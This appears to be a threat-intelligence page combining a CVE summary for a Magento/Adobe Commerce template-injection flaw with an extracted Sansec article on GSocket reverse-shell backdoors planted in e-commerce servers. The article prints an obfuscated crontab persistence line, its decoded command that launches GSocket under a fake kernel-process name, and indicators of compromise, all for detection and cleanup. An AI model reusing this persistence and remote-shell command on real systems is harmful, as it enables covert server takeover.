Found defunct.dat on your site? You've got a problem.
Vulnerabilities mentionedAll →
| CVE | Vulnerability | CVSS | EPSS | Flags | Affected | Exposure | Published |
|---|---|---|---|---|---|---|---|
| CVE-2026-75650 | Unauthenticated Template Injection RCE in Adobe Commerce and Magento (CVE-2026-75650) Adobe Commerce and Magento (including Adobe Commerce B2B) contain an improper neutralization of special elements used in a template engine (CWE-1336), a template-injection flaw that permits arbitrary code execution in the context of the current user. The flaw is reachable over the network by unauthenticated attackers, requires no user interaction, and its changed scope (CVSS 3.1 S:C) means injected code executes beyond the vulnerable component, producing a maximum-severity (CVSS 10.0) remote code execution condition. A successful attacker gains arbitrary code execution on the storefront server; in the observed campaign, intruders installed a Rust backdoor and a PHP web shell (dubbed 'StyleSmuggler') on compromised servers. Any organization running an Adobe Commerce, Adobe Commerce B2B, or Magento storefront is in scope, with internet-facing e-commerce deployments most exposed. Exploitation is confirmed in the wild: the bug was abused as a zero-day before patching and was added to CISA's Known Exploited Vulnerabilities catalog on 2026-09-08. Do: Apply Adobe's released patches immediately per vendor instructions, prioritizing internet-facing Commerce/Magento storefronts, and ensure compliance with CISA BOD 26-04 timelines for KEV entries. Hunt for 'StyleSmuggler' indicators of compromise, including unexpected Rust backdoor binaries and PHP web shells on hosts, and review template/theme customizations for tampering. Exact fixed version numbers are not included in the available data, so consult Adobe's advisory for the correct patched release for your Commerce/Magento version line. | 10.0 | 2% | KEV PoC |
| massroughly 100,000-300,000 internet-facing storefronts |
Indicators of compromiseauto-extracted · verify before use · export allAll →
| Type | Indicator | Context |
|---|---|---|
| ipv4 | 45.77.95.4 | hield , which would have prevented all of these cases. IOCs 45.77.95.4 /pub/defunct.dat /errors/defunct.dat /pub/qfile /defunct.da |
Full article490 words · extracted from sansec.io · click to collapse
The Sansec Shield WAF detected mass scans for "defunct.dat" and "qfile" files this week. As it turns out, these files contain connection keys that can be used to launch a GSocket reverse shell, effectively handing over the server to anyone with the key.

To figure out what is going on, we scanned 80,000 stores for these files and found 45 that had running GSocket backdoors. We contacted one of the stores and confirmed that their server had been compromised.
What is GSocket?
GSocket is a popular tool among cybercriminals, as it enables anonymous logins on servers, even if they are behind a firewall or on a private network. It uses a disguised background process that persists via an obfuscated cronjob.
Whac-a-mole with other malware
We correlated the GSocket presence with our daily crawler data. This showed that most of the stores had been infected with other malware as well. Merchants attempted to clean up the infection, but (given that GSocket is cleverly hidden) failed to fix the root problem. In some cases, the attacker managed to reinfect the store 7 times. Sysadmins must have been pulling their hair out.

Noteworthy: this attack is particularly effective on Adobe Commerce Cloud. This platform uses read-only storage for code files, however GSocket can be run from a memory file descriptor and is not affected by this.
Technical analysis
A typical GSocket backdoor uses cron as a method of persistence. It looks like this:
$ crontab -l
# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVUzMyBkZWZ1bmN0IDI+L2Rldi9udWxsIHx8IFNIRUxMPSBURVJNPXh0ZXJtLTI1NmNvbG9yIEdTX0FSR1M9Ii1rIC92YXIvd3d3L3B1Yi9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvdmFyL3d3dy9wdWIvZGVmdW5jdCciIDI+L2Rldi9udWxsCg==|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel
Which decodes to the launch of gsocket (stored as defunct) and hides as [nm_percpu_wq] (an internal Linux kernel process).
/usr/bin/pkill -0 -U33 defunct 2>/dev/null || SHELL= TERM=xterm-256color GS_ARGS="-k /var/www/pub/defunct.dat -liqD" /usr/bin/bash -c "exec -a '[mm_percpu_wq]' '/var/www/pub/defunct'" 2>/dev/null
In the process list, this shows up as:
www-data 12393 0.0 0.0 3160 4 ? Ss Feb02 0:00 [mm_percpu_wq]
We reported about the use of GSocket in eCommerce attacks previously but this time it shows two things:
- Competing criminals are searching for each other's connection keys.
- Merchants struggle to clean up hidden backdoors
How to detect & prevent GSocket?
Because GSocket hides itself as various legitimate processes, it can be hard to find. We recommend to run eComscan which will find all instances of GSocket, plus any persistence mechanisms.
A GSocoket backdoor is a symptom of an earlier breach. While this can be anything, the cases we analyzed all show a previous infection using the ICONV bug and/or a TrojanOrder attack. We recommend to run a specialized eCommerce WAF such as Sansec Shield, which would have prevented all of these cases.
IOCs
45.77.95.4
/pub/defunct.dat
/errors/defunct.dat
/pub/qfile
/defunct.dat
Read more
Text extracted automatically; images, tables and formatting may be missing. Original: https://sansec.io/research/gsocket